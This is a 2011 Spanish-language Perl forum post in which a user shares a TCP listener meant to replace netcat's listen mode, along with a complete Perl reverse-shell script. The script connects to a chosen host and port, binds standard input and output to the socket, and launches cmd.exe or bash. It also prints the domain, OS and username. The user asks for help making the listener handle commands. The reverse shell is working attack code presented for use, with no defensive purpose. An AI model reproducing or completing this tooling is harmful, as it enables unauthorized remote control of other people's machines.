Perl en Español

  1. Home
  2. Tutoriales
  3. Foro
  4. Artículos
  5. Donativos
  6. Publicidad
 
Índice general » Mundo Perl » Intermedio » Sustituto para netcat Responder al tema
Nuevo tema


Página 1 de 1  [ 1 mensaje ] 
 
Nota 2011-10-26 08:53 @412

Perlero Senior
Registrado: 2009-03-01 18:39 @818
Mensajes: 387
Sustituto para netcat
Hola, ando queriendo hacer un sustituto de netcat en Perl para la opción de mantener un puerto abierto para recibir datos. La idea sería que sea como el comando -lvvp de netcat.

El código del server que vendría a ser el sustituto de netcat sería el código siguiente:
Syntax: [ Download ] [ Hide ]
Using perl Syntax Highlighting
  1. #!/usr/bin/perl -w
  2. # serverIO.pl - a simple server using
  3. # IO::Socket
  4. use strict;
  5. use IO::Socket;
  6. my $sock = new IO::Socket::INET(
  7.                    LocalHost => 'localhost',
  8.                    LocalPort => 7890,
  9.                    Proto     => 'tcp',
  10.                    Listen    => SOMAXCONN,
  11.                    Reuse     => 1);
  12. $sock or die "no socket :$!";
  13. my($new_sock, $c_addr, $buf);
  14. while (($new_sock, $c_addr) = $sock->accept()) {
  15.     my ($client_port, $c_ip) =
  16.                      sockaddr_in($c_addr);
  17.     my $client_ipnum = inet_ntoa($c_ip);
  18.     my $client_host =
  19.              gethostbyaddr($c_ip, AF_INET);
  20.     print "got a connection from: $client_host",
  21.           " [$client_ipnum]\n";
  22.     while (defined ($buf = <$new_sock>)) {
  23.         print $buf;
  24.     }
  25. }
  26.  


Necesito hacer el server para poder usar una reverseshell la cual el código es el siguiente:

Syntax: [ Download ] [ Hide ]
Using perl Syntax Highlighting
  1. #!usr/bin/perl
  2. #Reverse Shell 0.1
  3. #By Doddy H
  4.  
  5. use IO::Socket;
  6.  
  7. print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
  8.  
  9. unless (@ARGV == 2) {
  10. print "[Sintax] : $0 <host> <port>\n\n";
  11. exit(1);
  12. } else {
  13. print "[+] Starting the connection\n";
  14. print "[+] Enter in the system\n";
  15. print "[+] Enjoy !!!\n\n";
  16. conectar($ARGV[0],$ARGV[1]);
  17. tipo();
  18. }
  19.  
  20. sub conectar {
  21. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  22. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  23. open (STDIN,">&REVERSE");
  24. open (STDOUT,">&REVERSE");
  25. open (STDERR,">&REVERSE");
  26. }
  27.  
  28. sub tipo {
  29. print "\n[*] Reverse Shell Starting...\n\n";
  30. if ($^O =~/Win32/ig) {
  31. infowin();
  32. system("cmd.exe");
  33. } else {
  34. infolinux();
  35. #root();  
  36. system("bin/bash");
  37. }
  38. }
  39.  
  40. sub infowin {
  41. print "[+] Domain Name : ".Win32::DomainName()."\n";
  42. print "[+] OS Version : ".Win32::GetOSName()."\n";
  43. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  44. }
  45.  
  46. sub infolinux {
  47. print "[+] System information\n\n";
  48. system("uname -a");
  49. }
  50.  
  51. #The End


Cuando realizo las pruebas la reverseshell se conecta al server pero el server muestra la información del reverseshell pero se queda colgado cuando se tienen que ejecutar comandos.

¿ Alguien puede ayudarme ?


Responder al tema  [ 1 mensaje ] 

Reglas del Foro
No puedes abrir nuevos temas en este Foro
No puedes responder a temas en este Foro
No puedes editar tus mensajes en este Foro
No puedes borrar tus mensajes en este Foro
No puedes enviar adjuntos en este Foro

Publicidad

Socializa

Síguenos por Twitter

Suscríbete GRATUITAMENTE al Boletín de Perl en Español

Saltar a:  
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
Traducción al español por Huan Manwë para phpbb-es.com
phpBB SEO